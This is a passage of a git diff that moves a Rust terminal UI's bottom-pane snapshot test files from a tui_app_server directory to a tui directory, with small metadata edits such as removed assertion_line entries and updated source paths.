a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_wide.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_wide.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_wide.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_wide.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap similarity index 96% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap index b6d87789a..1bb213bbe 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/footer.rs -assertion_line: 535 expression: terminal.backend() --- " / for commands ! for shell commands " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_context_running.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_context_running.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_context_running.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_context_running.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_default.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_default.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_default.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_default.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap similarity index 88% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap index 3c05f9b60..c09d61510 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/footer.rs -assertion_line: 1210 expression: terminal.backend() --- " Status line content · Robie [explorer] " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap similarity index 99% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap index 6aaf439a9..1ef9490f8 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/list_selection_view.rs -assertion_line: 1054 expression: "render_before_after_scroll_snapshot(ColumnWidthMode::AutoAllRows, 96)" --- before scroll: diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap similarity index 99% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap index 6875fb543..30bdc4bce 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/list_selection_view.rs -assertion_line: 1046 expression: "render_before_after_scroll_snapshot(ColumnWidthMode::AutoVisible, 96)" --- before scroll: diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap similarity index 99% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap index 4672ab7f2..7be4a1559 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/list_selection_view.rs -assertion_line: 1062 expression: "render_before_after_scroll_snapshot(ColumnWidthMode::Fixed, 96)" --- before scroll: diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap similarity index 95% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap index 800fcf75c..8eb41f417 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/list_selection_view.rs -assertion_line: 828 expression: "render_lines_with_width(&view, 40)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_many_line_message.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_many_line_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_many_line_message.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_many_line_message.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_one_message.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_one_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_one_message.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_one_message.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_two_messages.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_two_messages.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_two_messages.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_two_messages.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_wrapped_message.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_wrapped_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_wrapped_message.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_wrapped_message.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_many_line_message.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_many_line_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_many_line_message.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_many_line_message.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_message_with_shift_left_binding.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message_with_shift_left_binding.snap similarity index 92% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_message_with_shift_left_binding.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message_with_shift_left_binding.snap index d70db5664..f3ad37e73 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_message_with_shift_left_binding.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message_with_shift_left_binding.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs +source: tui/src/bottom_pane/pending_input_preview.rs expression: "format!(\"{buf:?}\")" --- Buffer { diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap similarity index 97% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap index 16da87fb9..77d57c3f4 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs +source: tui/src/bottom_pane/pending_input_preview.rs expression: "format!(\"{buf:?}\")" --- Buffer { diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_two_messages.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_two_messages.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_two_messages.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_two_messages.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap similarity index 97% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap index 53ed604e4..e5984581a 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/skills_toggle_view.rs -assertion_line: 439 expression: "render_lines(&view, 72)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap similarity index 98% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap index 000c7d898..20aca1e33 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/status_line_setup.rs -assertion_line: 365 expression: "render_lines(&view, 72)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_queued_messages_snapshot.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_queued_messages_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_queued_messages_snapshot.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_queued_messages_snapshot.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_hidden_when_height_too_small_height_1.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_hidden_when_height_too_small_height_1.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_hidden_when_height_too_small_height_1.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_hidden_when_height_too_small_height_1.snap diff --git 